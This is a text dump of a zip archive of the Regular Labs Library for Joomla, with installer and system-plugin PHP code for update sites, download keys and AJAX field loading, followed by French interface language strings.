		$this->db->execute();

		$query->clear()
			->delete('#__update_sites_extensions')
			->where($this->db->quoteName('update_site_id') . ' = ' . (int) $id);
		$this->db->setQuery($query);
		$this->db->execute();
	}

	private function updateNamesInUpdateSites()
	{
		$name = JText::_($this->name);
		if ($this->alias != 'extensionmanager')
		{
			$name = 'Regular Labs - ' . $name;
		}

		$query = $this->db->getQuery(true)
			->update('#__update_sites')
			->set($this->db->quoteName('name') . ' = ' . $this->db->quote($name))
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%download.regularlabs.com%'))
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%e=' . $this->alias . '%'));
		$this->db->setQuery($query);
		$this->db->execute();
	}

	// Save the download key from the Regular Labs Extension Manager config to the update sites
	private function updateDownloadKey()
	{
		$query = $this->db->getQuery(true)
			->select('e.params')
			->from('#__extensions as e')
			->where(array(
				'e.element = ' . $this->db->quote('com_regularlabsmanager'),
				'e.element = ' . $this->db->quote('com_nonumbermanager'),
			), 'OR');
		$this->db->setQuery($query);
		$params = $this->db->loadResult();

		if (!$params)
		{
			return;
		}

		$params = json_decode($params);

		if (!isset($params->key))
		{
			return;
		}

		$query->clear()
			->update('#__update_sites')
			->set($this->db->quoteName('extra_query') . ' = ' . $this->db->quote(''))
			->where(array(
				$this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%download.nonumber.nl%'),
				$this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%download.regularlabs.com%'),
			), 'OR');
		$this->db->setQuery($query);
		$this->db->execute();

		$query->clear()
			->update('#__update_sites')
			->set($this->db->quoteName('extra_query') . ' = ' . $this->db->quote('k=' . $params->key))
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%&pro=1%'))
			->where(array(
				$this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%download.nonumber.nl%'),
				$this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%download.regularlabs.com%'),
			), 'OR');
		$this->db->setQuery($query);
		$this->db->execute();
	}

	private function removeAdminCache()
	{
		$this->deleteFolders(array(JPATH_ADMINISTRATOR . '/cache/regularlabs'));
		$this->deleteFolders(array(JPATH_ADMINISTRATOR . '/cache/nonumber'));
	}

	private function removeGlobalLanguageFiles()
	{
		if ($this->extension_type == 'library')
		{
			return;
		}

		$language_files = JFolder::files(JPATH_ADMINISTRATOR . '/language', '\.' . $this->getPrefix() . '_' . $this->extname . '\.', true, true);

		// Remove override files
		foreach ($language_files as $i => $language_file)
		{
			if (strpos($language_file, '/overrides/') === false)
			{
				continue;
			}

			unset($language_files[$i]);
		}

		if (empty($language_files))
		{
			return;
		}

		JFile::delete($language_files);
	}

	private function removeUnusedLanguageFiles()
	{
		if ($this->extension_type == 'library')
		{
			return;
		}

		$installed_languages = array_merge(
			JFolder::folders(JPATH_SITE . '/language'),
			JFolder::folders(JPATH_ADMINISTRATOR . '/language')
		);

		$languages = array_diff(
			JFolder::folders(__DIR__ . '/language'),
			$installed_languages
		);

		$delete_languages = array();

		foreach ($languages as $language)
		{
			$delete_languages[] = $this->getMainFolder() . '/language/' . $language;
		}

		if (empty($delete_languages))
		{
			return;
		}

		// Remove folders
		$this->deleteFolders($delete_languages);
	}
}
PK�(]�A|��"system/regularlabs/regularlabs.phpnu�[���<?php
/**
 * @package         Regular Labs Library
 * @version         23.2.18739
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://regularlabs.com
 * @copyright       Copyright © 2023 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Plugin\CMSPlugin as JPlugin;
use Joomla\CMS\Uri\Uri as JUri;
use Joomla\Registry\Registry;
use RegularLabs\Library\Document as RL_Document;
use RegularLabs\Library\Extension as RL_Extension;
use RegularLabs\Library\ParametersNew as RL_Parameters;
use RegularLabs\Library\Uri as RL_Uri;
use RegularLabs\Plugin\System\RegularLabs\AdminMenu;
use RegularLabs\Plugin\System\RegularLabs\DownloadKey;
use RegularLabs\Plugin\System\RegularLabs\QuickPage;
use RegularLabs\Plugin\System\RegularLabs\SearchHelper;

if ( ! is_file(__DIR__ . '/vendor/autoload.php'))
{
    return;
}

require_once __DIR__ . '/vendor/autoload.php';

if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php')
    || ! is_file(JPATH_LIBRARIES . '/regularlabs/src/ParametersNew.php')
)
{
    return;
}

require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';

if ( ! RL_Document::isJoomlaVersion(3))
{
    RL_Extension::disable('regularlabs', 'plugin');

    return;
}

JFactory::getLanguage()->load('plg_system_regularlabs', __DIR__);

$config = new JConfig;

$input = JFactory::getApplication()->input;

// Deal with error reporting when loading pages we don't want to break due to php warnings
if ( ! in_array($config->error_reporting, ['none', '0'])
    && (
        ($input->get('option') == 'com_regularlabsmanager'
            && ($input->get('task') == 'update' || $input->get('view') == 'process')
        )
        ||
        ($input->getInt('rl_qp') == 1 && $input->get('url') != '')
    )
)
{
    RL_Extension::orderPluginFirst('regularlabs');

    error_reporting(E_ERROR);
}

class PlgSystemRegularLabs extends JPlugin
{
    public function getAjaxClass($field, $field_type = '')
    {
        if (empty($field))
        {
            return false;
        }

        if ($field_type)
        {
            return $this->getFieldClass($field, $field_type);
        }

        $file = JPATH_LIBRARIES . '/regularlabs/fields/' . strtolower($field) . '.php';

        if ( ! file_exists($file))
        {
            return $this->getFieldClass($field, $field);
        }

        require_once $file;

        return 'JFormFieldRL_' . ucfirst($field);
    }

    public function getFieldClass($field, $field_type)
    {
        $file = JPATH_PLUGINS . '/fields/' . strtolower($field_type) . '/fields/' . strtolower($field) . '.php';

        if ( ! file_exists($file))
        {
            return false;
        }

        require_once $file;

        return 'JFormField' . ucfirst($field);
    }

    public function onAfterDispatch()
    {
        if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
        {
            return;
        }

        if ( ! RL_Document::isAdmin(true) || ! RL_Document::isHtml()
        )
        {
            return;
        }

        RL_Document::loadMainDependencies();
    }

    public function onAfterRender()
    {
        if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
        {
            return;
        }

        if ( ! RL_Document::isAdmin(true) || ! RL_Document::isHtml()
        )
        {
            return;
        }

        $this->fixQuotesInTooltips();

        AdminMenu::combine();

        AdminMenu::addHelpItem();

        DownloadKey::cloak();
    }

    public function onAfterRoute()
    {
        if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
        {
            if (JFactory::getApplication()->isClient('administrator'))
            {
                JFactory::getApplication()->enqueueMessage('The Regular Labs Library folder is missing or incomplete: ' . JPATH_LIBRARIES . '/regularlabs', 'error');
            }

            return;
        }

        DownloadKey::update();

        SearchHelper::load();

        QuickPage::render();
    }

    public function onAjaxRegularLabs()
    {
        $input = JFactory::getApplication()->input;

        $format = $input->getString('format', 'json');

        $attributes = RL_Uri::getCompressedAttributes();
        $attributes = new Registry($attributes);

        $field      = $attributes->get('field');
        $field_type = $attributes->get('fieldtype');

        $class = $this->getAjaxClass($field, $field_type);

        if (empty($class) || ! class_exists($class))
        {
            return false;
        }

        $type = $attributes->type ?? '';

        $method = 'getAjax' . ucfirst($format) . ucfirst($type);

        $class = new $class;

        if ( ! method_exists($class, $method))
        {
            return false;
        }

        return $class->$method($attributes);
    }

    public function onInstallerBeforePackageDownload(&$url, &$headers)
    {
        $uri  = JUri::getInstance($url);
        $host = $uri->getHost();

        if (
            strpos($host, 'regularlabs.com') === false
            && strpos($host, 'nonumber.nl') === false
        )
        {
            return true;
        }

        $uri->setScheme('https');
        $uri->setHost('download.regularlabs.com');
        $uri->delVar('pro');
        $url = $uri->toString();

        $params = RL_Parameters::getComponent('regularlabsmanager');

        if (empty($params) || empty($params->key))
        {
            return true;
        }

        $uri->setVar('k', $params->key);
        $url = $uri->toString();

        return true;
    }

    private function fixQuotesInTooltips()
    {
        $html = JFactory::getApplication()->getBody();

        if ($html == '')
        {
            return;
        }

        if (strpos($html, '&amp;quot;rl-code&amp;quot;') === false
            && strpos($html, '&amp;quot;rl_code&amp;quot;') === false)
        {
            return;
        }

        $html = str_replace(
            ['&amp;quot;rl-code&amp;quot;', '&amp;quot;rl_code&amp;quot;'],
            '&quot;rl-code&quot;',
            $html
        );

        JFactory::getApplication()->setBody($html);
    }
}
PK�(]���z��Fsystem/regularlabs/language/fr-FR/fr-FR.plg_system_regularlabs.sys.ininu�[���;; @package         Regular Labs Library
;; @version         23.2.18739
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://regularlabs.com
;; @copyright       Copyright © 2023 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See: https://regularlabs.com/translate

PLG_SYSTEM_REGULARLABS="Système - Regular Labs Library"
PLG_SYSTEM_REGULARLABS_DESC="Le plug-in système Regular Labs Library permet d'intégrer la prise en charge des bibliothèques de scripts Regular Labs."
REGULAR_LABS_LIBRARY="Regular Labs Library"
PK�(]��uĪĪBsystem/regularlabs/language/fr-FR/fr-FR.plg_system_regularlabs.ininu�[���;; @package         Regular Labs Library
;; @version         23.2.18739
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://regularlabs.com
;; @copyright       Copyright © 2023 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See: https://regularlabs.com/translate

PLG_SYSTEM_REGULARLABS="Système - Regular Labs Library"
PLG_SYSTEM_REGULARLABS_DESC="Le plug-in système Regular Labs Library permet d'intégrer la prise en charge des bibliothèques de scripts Regular Labs."
REGULAR_LABS_LIBRARY="Regular Labs Library"

REGULAR_LABS_LIBRARY_DESC="[[%1:warning%]]Les extensions Regular Labs ont absolument besoin de ce plug-in pour fonctionner.<br><br>Les extensions Regular Labs concernées sont :[[%2:extensions%]]"
REGULAR_LABS_LIBRARY_DESC_WARNING="Attention, ne désactivez ou ne désinstallez en aucun cas ce plug-in si vous utilisez une extension Regular Labs !"

COM_CONFIG_RL_ACTIONLOG_FIELDSET_LABEL="Journal des actions de l'utilisateur"
COM_CONFIG_RL_TAG_SYNTAX_FIELDSET_LABEL="Syntaxe des tags"
COM_MODULES_DESCRIPTION_FIELDSET_LABEL="Description"
COM_MODULES_RL_BEHAVIOUR_FIELDSET_LABEL="Comportement"
COM_PLUGINS_DESCRIPTION_FIELDSET_LABEL="Description"
COM_PLUGINS_RL_BEHAVIOUR_FIELDSET_LABEL="Comportement"
COM_PLUGINS_RL_DEFAULT_SETTINGS_FIELDSET_LABEL="Paramètres par défaut"
COM_PLUGINS_RL_MEDIA_FIELDSET_LABEL="Média"
COM_PLUGINS_RL_SETTINGS_ADMIN_MODULE_FIELDSET_LABEL="Options du module d'administration"
COM_PLUGINS_RL_SETTINGS_EDITOR_BUTTON_FIELDSET_LABEL="Paramètres du bouton"
COM_PLUGINS_RL_SETTINGS_SECURITY_FIELDSET_LABEL="Paramètres de sécurité"
COM_PLUGINS_RL_SETUP_FIELDSET_LABEL="Configurer"
COM_PLUGINS_RL_STYLING_FIELDSET_LABEL="Styles"
COM_PLUGINS_RL_TAG_SYNTAX_FIELDSET_LABEL="Syntaxe des tags"

RL_ACCESS_LEVELS="Niveaux d'accès"
RL_ACCESS_LEVELS_DESC="Sélectionnez les niveaux d'accès à attribuer."
RL_ACTION_CHANGE_DEFAULT="Modifier le défaut"
RL_ACTION_CHANGE_STATE="Modifier l'état de publication"
RL_ACTION_CREATE="Créer"
RL_ACTION_DELETE="Supprimer"
RL_ACTION_INSTALL="Installer"
RL_ACTION_UNINSTALL="Désinstaller"
RL_ACTION_UPDATE="Mise à jour"
RL_ACTIONLOG_EVENTS="Événements à consigner"
RL_ACTIONLOG_EVENTS_DESC="Sélectionnez les actions à inclure dans le journal des actions de l'utilisateur."
RL_ADD_BUTTON_TEXT="afficher un bouton texte"
RL_ADD_BUTTON_TEXT_DESC="Sélectionner pour afficher un texte dans le bouton."
RL_ADMIN="Admin"
RL_ADMIN_MODULE_HAS_BEEN_DISABLED="Le module [[%1:extension%]] administrateur a été dépublié !"
RL_ADVANCED="Avancé"
RL_AFTER="Après"
RL_AFTER_NOW="Après MAINTENANT"
RL_AKEEBASUBS="Akeeba Subscriptions"
RL_ALL="TOUS"
RL_ALL_DESC="Le module sera publié si <strong>TOUS</strong> les règlages ci-dessous correspondent."
RL_ALL_RIGHTS_RESERVED="Tous droits réservés"
RL_ALSO_ON_CHILD_ITEMS="Inclure les éléments enfants"
RL_ALSO_ON_CHILD_ITEMS_DESC="Affecter également aux éléments enfants des éléments sélectionnés ?"
RL_ALSO_ON_CHILD_ITEMS_MENUITEMS_DESC="Les éléments enfants font référence à des sous-éléments actuels dans la sélection ci-dessus. Ils ne renvoient pas aux liens des pages sélectionnées."
RL_ANY="N'IMPORTE QUEL REGLAGE"
RL_ANY_DESC="Le module sera publié si <strong>N'IMPORTE LEQUEL</strong> des règlages ci-dessous (un ou plusieurs) correspond.<br>Les affectations réglées sur 'Ignore' seront ignorées."
RL_ARE_YOU_SURE="Etes-vous sûr ?"
RL_ARTICLE="Article"
RL_ARTICLE_AUTHORS="Auteurs"
RL_ARTICLE_AUTHORS_DESC="Sélectionnez les auteurs à assigner."
RL_ARTICLES="Articles"
RL_ARTICLES_DESC="Sélectionnez les articles à assigner."
RL_AS_EXPORTED="Comme exportés"
RL_ASSIGNMENTS="Affectations"
RL_ASSIGNMENTS_DESC="En sélectionnant des assignations spécifiques, vous pouvez limiter où ce %s doit/ne doit pas être publié.<br>Pour l'avoir publié sur toutes les pages, ne spécifiez simplement aucune assignation."
RL_AUSTRALIA="Australie"
RL_AUTHORS="Auteurs"
RL_AUTO="Auto"
RL_AUTOMATIC="Automatique"
RL_BEFORE="Avant"
RL_BEFORE_NOW="Avant MAINTENANT"
RL_BEGINS_WITH="Commence par"
RL_BEHAVIOR="Comportement"
RL_BEHAVIOUR="Comportement"
RL_BETWEEN="Entre"
RL_BOOTSTRAP="Bootstrap"
RL_BOOTSTRAP_FRAMEWORK_DISABLED="Vous avez désactivé l'instanciation du Framework Bootstrap. %s a besoin de ce dernier pour fonctionner. Assurez-vous que votre modèle ou que d'autres extensions chargent les scripts nécessaires pour remplacer la fonctionnalité requise."
RL_BOTH="Les deux"
RL_BOTTOM="Bas"
; RL_BOTTOM_LEFT="Bottom Left"
; RL_BOTTOM_RIGHT="Bottom Right"
RL_BROWSERS="Navigateurs"
RL_BROWSERS_DESC="<br>Sélectionnez les navigateurs à affecter.<br>Gardez à l'esprit que la détection du navigateur n'est jamais efficace à 100&#37;, car les utilisateurs peuvent configurer leur navigateur pour imiter un autre navigateur."
RL_BUTTON_ICON="Icône bouton"
RL_BUTTON_ICON_DESC="Sélectionnez l'icône à afficher dans le bouton."
RL_BUTTON_TEXT="Texte du bouton"
RL_BUTTON_TEXT_DESC="Définir le texte à afficher dans le bouton. Vous pouvez utiliser une chaîne de langue."
RL_CACHE_TIME="Durée du cache"
RL_CACHE_TIME_DESC="Durée maximale en minutes durant laquelle un fichier doit être stocké en cache avant d'être actualisé. Laisser vide pour utiliser le paramètre global."
RL_CASE_SENSITIVE="Sensible à la casse"
RL_CATEGORIES="Catégories"
RL_CATEGORIES_DESC="Sélectionnez les catégories à affecter."
RL_CATEGORY="Catégorie"
RL_CENTER="Centré"
RL_CHANGELOG="Changelog"
RL_CHARACTERS="Caractères"
RL_CLASSNAME="Classe CSS"
RL_COLLAPSE="Réduire"
RL_COLOR="Couleur"
RL_COLORS="Couleurs"
RL_COLORS_DESC="Liste des couleurs RVB, séparées par des virgules, à afficher dans le sélecteur de couleurs."
RL_COM="Composant"
RL_COMBINE_ADMIN_MENU="Combinez Menu Admin"
RL_COMBINE_ADMIN_MENU_DESC="Combiner tous les éléments de Regular Labs dans un seul sous-menu du menu 'Composants' de l'administration."
RL_COMPARISON="Comparaison"
RL_COMPONENTS="Composants"
RL_COMPONENTS_DESC="Sélectionnez les composants à affecter."
RL_CONDITIONS="Conditions"
RL_CONTAINS="Contient"
RL_CONTAINS_ONE="Contient l'un des éléments suivants"
RL_CONTENT="Contenu"
RL_CONTENT_KEYWORDS="Mots clés de contenu"
RL_CONTENT_KEYWORDS_DESC="Indiquez les mots-clés trouvés dans le contenu à attribuer. Utilisez des virgules pour séparer les mots-clés."
RL_CONTINENTS="Continents"
RL_CONTINENTS_DESC="Sélectionnez les continents à assigner"
RL_COOKIECONFIRM="Confirmation de Cookie"
RL_COOKIECONFIRM_COOKIES="Cookies autorisés"
RL_COOKIECONFIRM_COOKIES_DESC="Déterminer si les cookies sont autorisés ou interdits, en fonction de la configuration de Cookie Confirm (par Twentronix) et du choix du visiteur d'accepter ou non les cookies."
RL_COPY_OF="Copie de %s"
RL_COPYRIGHT="Copyright"
RL_COUNTRIES="Pays"
RL_COUNTRIES_DESC="Sélectionnez les pays à assigner"
RL_CSS_CLASS="Classe (CSS)"
RL_CSS_CLASS_DESC="Définir un nom de classe css pour lui attribuer des styles personnalisés."
RL_CURRENT="Courante"
RL_CURRENT_DATE="Date/Heure actuelle : <strong>%s</strong>"
RL_CURRENT_USER="Utilisateur actuel"
RL_CURRENT_VERSION="Votre version actuelle est %s"
RL_CUSTOM="Personnalisé"
RL_CUSTOM_CODE="Code personnalisé"
RL_CUSTOM_CODE_DESC="Spécifiez dans le champ ci-contre le code à insérer lors d'un clic sur le 'Simple' bouton (à la place du code par défaut)."
RL_CUSTOM_FIELD="Champ Personnalisé"
RL_CUSTOM_FIELDS="Champs Personnalisés"
RL_CUSTOM_FORMAT="Format personnalisé"
RL_DATE="Date"
RL_DATE_DESC="Sélectionnez le type de comparaison de dates à utiliser."
RL_DATE_FROM="De"
RL_DATE_RECURRING="Récurrence"
RL_DATE_RECURRING_DESC="Sélectionner afin d'appliquer une plage de dates pour chaque année. (Ainsi, l'année dans la sélection sera ignorée)."
RL_DATE_TIME="Date & heure"
RL_DATE_TIME_DESC="<br><center>Les affectations de date et d'heure utilisent la date et l'heure de votre serveur, et non celle du système du visiteur.</center>"
RL_DATE_TO="À"
RL_DAYS="Jours de la semaine"
RL_DAYS_DESC="Sélectionnez les jours de la semaine à affecter."
RL_DEFAULT_ORDERING="Ordre par défaut"
RL_DEFAULT_ORDERING_DESC="Définir le classement par défaut de la liste des éléments"
RL_DEFAULT_SETTINGS="Paramètres par défaut"
RL_DEFAULTS="Par défaut"
RL_DEVICE_DESKTOP="Bureau"
RL_DEVICE_MOBILE="Mobile"
RL_DEVICE_TABLET="Tablettes"
RL_DEVICES="Périphériques"
RL_DEVICES_DESC="Sélectionnez les périphériques à affecter. Gardez à l'esprit que la détection des périphériques n'est pas toujours 100&#37; précise. Les utilisateurs peuvent configurer leur périphérique pour qu'il imite d'autres périphériques"
RL_DIRECTION="Direction"
RL_DIRECTION_DESC="Sélectionnez la direction"
RL_DISABLE_ON_ADMIN_COMPONENTS_DESC="Sélectionnez les composants d'administration dans lesquels NE PAS autoriser l'utilisation de cette extension."
RL_DISABLE_ON_ALL_COMPONENTS_DESC="Sélectionnez les composants dans lesquels NE PAS autoriser l'utilisation de cette extension."
RL_DISABLE_ON_COMPONENTS="Inactif dans les composants"
RL_DISABLE_ON_COMPONENTS_DESC="Sélectionnez les composants pour lesquels la syntaxe du plug-in ne doit pas être prise en charge."
RL_DISPLAY_EDITOR_BUTTON="Afficher le bouton d'édition"
RL_DISPLAY_EDITOR_BUTTON_DESC="Sélectionnez cette option afin d'afficher le bouton d'édition."
RL_DISPLAY_LINK="Mode d'affichage du lien"
RL_DISPLAY_LINK_DESC="Sélectionnez le mode d'affichage du lien."
RL_DISPLAY_STATUSBAR_BUTTON="Afficher bouton de la barre d'état"
RL_DISPLAY_STATUSBAR_BUTTON_DESC="Sélectionner cette option pour afficher un bouton dans la barre d'état."
RL_DISPLAY_TOOLBAR_BUTTON="Afficher le bouton"
RL_DISPLAY_TOOLBAR_BUTTON_DESC="Sélectionnez 'Oui' pour afficher un bouton dans la barre des boutons."
RL_DISPLAY_TOOLBAR_BUTTONS="Afficher les boutons de la barre d'outils"
RL_DISPLAY_TOOLBAR_BUTTONS_DESC="Sélectionnez cette option pour afficher le(s) bouton(s) dans la barre d'outils."
RL_DISPLAY_TOOLTIP="Afficher la bulle d'aide"
RL_DISPLAY_TOOLTIP_DESC="Sélectionnez cette option pour afficher un Tooltip qui vous donnera des informations supplémentaires lorsque le curseur de votre souris passera par-dessus le lien."
RL_DOWNLOAD_KEY="Télécharger la clé"
RL_DOWNLOAD_KEY_DESC="Veuillez entrer votre clé de téléchargement du site Regular Labs ici. Vous pouvez trouver votre clé de téléchargement sous Downloads sur le site Regular Labs après vous être identifié·e."
RL_DOWNLOAD_KEY_ENTER="Veuillez entrer votre clé de téléchargement Regular Labs"
; RL_DOWNLOAD_KEY_ERROR_EMPTY="You have not entered your Download Key yet.<br>Without the Download Key, you will not be able to update when new versions of [[%1:extension%]] (Pro versions) are released.<br>You can find your Download Key under [[%2:start link%]]Download Keys[[%3:end link%]] on the Regular Labs website after logging in."
RL_DOWNLOAD_KEY_ERROR_EXPIRED="Votre abonnement semble être terminé.<br>Cela a pour conséquence que vous ne pourrez plus mettre à jour vers de nouvelles versions.<br>Veuillez envisager de [[%1:start link%]]renouveler votre abonnement[[%2:end link%]]."
RL_DOWNLOAD_KEY_ERROR_EXTERNAL="Il y a eu un problème lors de la validité de votre clé de téléchargement.<br>Essayez à nouveau plus tard.<br>Sinon, contactez le [[%1:start link%]]support de Regular Labs[[%2:end link%]]."
RL_DOWNLOAD_KEY_ERROR_INVALID="Votre clé de téléchargement ne semble plus être valable.<br>Vous pouvez trouver votre clé de téléchargement sous [[%1:start link%]]Download Keys[[%2:end link%]] sur le site Regular Labs après vous être identifié·e."
RL_DOWNLOAD_KEY_ERROR_LOCAL="Il y a eu un problème en essayant de trouver une clé de téléchargement sur votre configuration.<br>Essayez de réinstaller l’extension."
RL_DYNAMIC_TAG_ARTICLE_ID="ID de l'article actuel"
RL_DYNAMIC_TAG_ARTICLE_OTHER="Toute autre donnée disponible dans l'article actuel."
RL_DYNAMIC_TAG_ARTICLE_TITLE="Titre de l'article actuel"
RL_DYNAMIC_TAG_COUNTER="Cela positionne le nombre d'occurrences.<br>Si votre recherche obtient des résultats, disons 4, le compteur affichera respectivement 1 à 4."
RL_DYNAMIC_TAG_DATE="La date utilise [[%1:start link%]]le format php strftime()[[%2:end link%]]. Exemple : [[%3:example%]]"
RL_DYNAMIC_TAG_ESCAPE="Utiliser pour échapper dynamiquement les valeurs (ajoute une barre aux apostrophes)."
RL_DYNAMIC_TAG_LOWERCASE="Convertissez le texte des balises en minuscules."
RL_DYNAMIC_TAG_NOTAGS="Supprimer les balises html du texte contenant des balises."
RL_DYNAMIC_TAG_NOWHITESPACE="Supprimer les balises html et les espaces blancs du texte contenant des balises."
RL_DYNAMIC_TAG_RANDOM="Un nombre aléatoire dans l'intervalle donné"
RL_DYNAMIC_TAG_RANDOM_LIST="Une valeur aléatoire à partir d’une liste de chaînes, de nombres ou de plages"
RL_DYNAMIC_TAG_REPLACE="Remplacer les chaînes à l’intérieur du texte contenant des balises"
RL_DYNAMIC_TAG_STRING_EXAMPLE="&quot;C'est une <strong><u>chaîne</u></strong> !&quot;"
RL_DYNAMIC_TAG_TEXT="Chaîne de langue à traduire dans le texte (basée sur la langue active)"
RL_DYNAMIC_TAG_TOALIAS="Convertir du texte contenant des balises en un alias (chaîne en minuscules séparée par tiret)."
RL_DYNAMIC_TAG_UPPERCASE="Convertir le texte des balises en majuscules."
RL_DYNAMIC_TAG_USER_ID="Le numéro d'identification de l'utilisateur"
RL_DYNAMIC_TAG_USER_NAME="Le nom de l'utilisateur"
RL_DYNAMIC_TAG_USER_OTHER="Toute autre donnée disponible de l'utilisateur ou du contact connecté. Exemple : [[user:misc]]"
RL_DYNAMIC_TAG_USER_TAG_DESC="La balise utilisateur positionne des données de l'utilisateur connecté. Si le visiteur n'est pas connecté, la balise sera supprimée."
RL_DYNAMIC_TAG_USER_USERNAME="Le nom de connexion de l'utilisateur"
RL_DYNAMIC_TAGS="Balises dynamiques"
RL_EASYBLOG="EasyBlog"
RL_EDITOR_BUTTON_TEXT_DESC="Indiquez dans ce champ le texte à afficher sur le bouton."
; RL_EMPTY_FOR_AUTOMATIC_SIZING="Leave empty to use automatic sizing."
; RL_EMPTY_FOR_DEFAULT="Leave empty to use the default setting."
RL_ENABLE="Activer"
RL_ENABLE_ACTIONLOG="Enregistrer les actions de l'utilisateur"
RL_ENABLE_ACTIONLOG_DESC="Sélectionnez cette option pour enregistrer les actions de l'utilisateur. Ces actions seront visibles dans le module de journalisation des actions de l'utilisateur."
RL_ENABLE_IN="Activer pour"
RL_ENABLE_IN_ADMIN="Activer dans l'administration"
RL_ENABLE_IN_ADMIN_DESC="S'il est activé, le plug-in fonctionnera également dans l'interface d'administration du site.<br>Normalement, vous ne devriez pas en avoir besoin, et cela peut provoquer des dysfonctionnements, comme le ralentissement de l'espace d'administration ou encore des balises du plugin affichées où il ne devrait pas y en avoir."
RL_ENABLE_IN_ARTICLES="Activer dans les articles"
RL_ENABLE_IN_COMPONENTS="Activer dans les composants"
RL_ENABLE_IN_DESC="Choisissez si vous souhaitez activer cette extension en frontal du site, dans l'interface d'administration, ou les deux."
RL_ENABLE_IN_FRONTEND="Activer en frontal du site"
RL_ENABLE_IN_FRONTEND_DESC="Si activé, cette extension sera également disponible en frontal du site."
RL_ENABLE_OTHER_AREAS="Activer dans d'autres zones."
RL_ENABLE_PUBLISHING_ASSIGNMENTS="Ici, vous pouvez désactiver toutes les publications assignées que vous ne souhaitez pas utiliser."
RL_ENABLED_IN_FRONTEND="Activé en frontal du site"
RL_ENDS_WITH="Se termine par"
RL_EQUALS="Égales"
RL_EXCLUDE="Exclure"
RL_EXPAND="Etendre"
RL_EXPORT="Exporter"
RL_EXPORT_FORMAT="Format d'exportation"
RL_EXPORT_FORMAT_DESC="Sélectionnez le format pour l'exportation de fichiers."
RL_EXTRA_PARAMETERS="Paramètres supplémentaires"
RL_EXTRA_PARAMETERS_DESC="Indiquez les paramètres supplémentaires qui ne peuvent pas être définis avec les paramètres disponibles."
RL_FALL="Automne"
RL_FEATURED_DESC="Sélectionnez cette option pour utiliser l'état de la caractéristique dans l'affectation."
RL_FEATURES="Caractéristiques"
RL_FIELD="Champ"
RL_FIELD_CHECKBOXES="Cases à cocher"
RL_FIELD_DROPDOWN="Liste déroulante"
RL_FIELD_MULTI_SELECT_STYLE="Style à choix multiples"
RL_FIELD_MULTI_SELECT_STYLE_DESC="Afficher le champ multi-choix comme un champ déroulant standard ou un champ avancé basé sur les cases à cocher."
RL_FIELD_NAME="Nom du champ"
RL_FIELD_PARAM_MULTIPLE="Multiple"
RL_FIELD_PARAM_MULTIPLE_DESC="Permet de sélectionner plusieurs valeurs."
RL_FIELD_SELECT_STYLE="Style à choix multiples"
RL_FIELD_SELECT_STYLE_DESC="Afficher le champ multi-choix comme un champ déroulant standard ou un champ avancé basé sur les cases à cocher."
RL_FIELD_VALUE="Valeur du champ"
RL_FIELDS_DESC="Sélectionnez le·s champ·s concerné·s et saisissez la/les valeur·s souhaitée·s."
RL_FILES_NOT_FOUND="Les fichiers %s requis n'ont pas été trouvés!"
RL_FILTERS="Filtres"
RL_FINISH_PUBLISHING="Fin de publication"
RL_FINISH_PUBLISHING_DESC="Entrez la date de fin de publication"
RL_FIX_HTML="Corriger le HTML"
RL_FIX_HTML_DESC="Sélectionnez cette option pour que l'extension corrige tout problème de structure html trouvé. Cela est souvent nécessaire pour traiter les balises html environnantes.<br><br>Ne désactivez cette fonction que si vous rencontrez des problèmes à ce sujet."
RL_FLEXICONTENT="FLEXIcontent"
RL_FOR_MORE_GO_PRO="Pour plus de fonctionnalités, vous pouvez acheter la version PRO."
RL_FORM2CONTENT="Form2Content"
RL_FRAMEWORK_NO_LONGER_USED="La NoNumber Framework ne semble pas être utilisée par d'autres extensions installées. Vous pouvez probablement désactiver ou désinstaller ce plugin en toute sécurité."
RL_FROM_TO="De - à"
RL_FRONTEND="Frontend"
RL_GALLERY="Galerie"
RL_GEO="Géolocalisation"
RL_GEO_DESC="La géolocalisation n'est pas précise à 100&#37;. La géolocalisation est basée sur l'adresse IP du visiteur. Toutes les adresses IP ne sont pas fixes ou connues."
RL_GEO_GEOIP_COPYRIGHT_DESC="Ce produit comprend des données GeoLite2 créées par MaxMind, disponibles à partir de [[%1:link%]]"
RL_GEO_NO_GEOIP_LIBRARY="La bibliothèque Labs Regular GeoIP n'est pas installée. Vous devez [[%1:link start%]]installer la bibliothèque Labs Regular GeoIP[[%2:link end%]] pour utiliser la géolocalisation."
RL_GO_PRO="Passer à la version Pro!"
RL_GREATER_THAN="Supérieur à"
RL_HANDLE_HTML_HEAD="Gérer l'en-tête HTML"
RL_HANDLE_HTML_HEAD_DESC="Sélectionner pour que le plugin gère également la section en-tête HTML.<br><br>Veuillez noter que cela peut potentiellement provoquer un html indésirable à l’intérieur des balises de l'en-tête HTML et causer des problèmes de syntaxe HTML."
RL_HEADING_1="Titre 1"
RL_HEADING_2="Titre 2"
RL_HEADING_3="Titre 3"
RL_HEADING_4="Titre 4"
RL_HEADING_5="Titre 5"
RL_HEADING_6="Titre 6"
RL_HEADING_ACCESS_ASC="Par accès ascendant"
RL_HEADING_ACCESS_DESC="Par accès descendant"
RL_HEADING_ALIAS_ASC="Par alias ascendant"
RL_HEADING_ALIAS_DESC="Par alias descendant"
RL_HEADING_CATEGORY_ASC="Par catégorie ascendante"
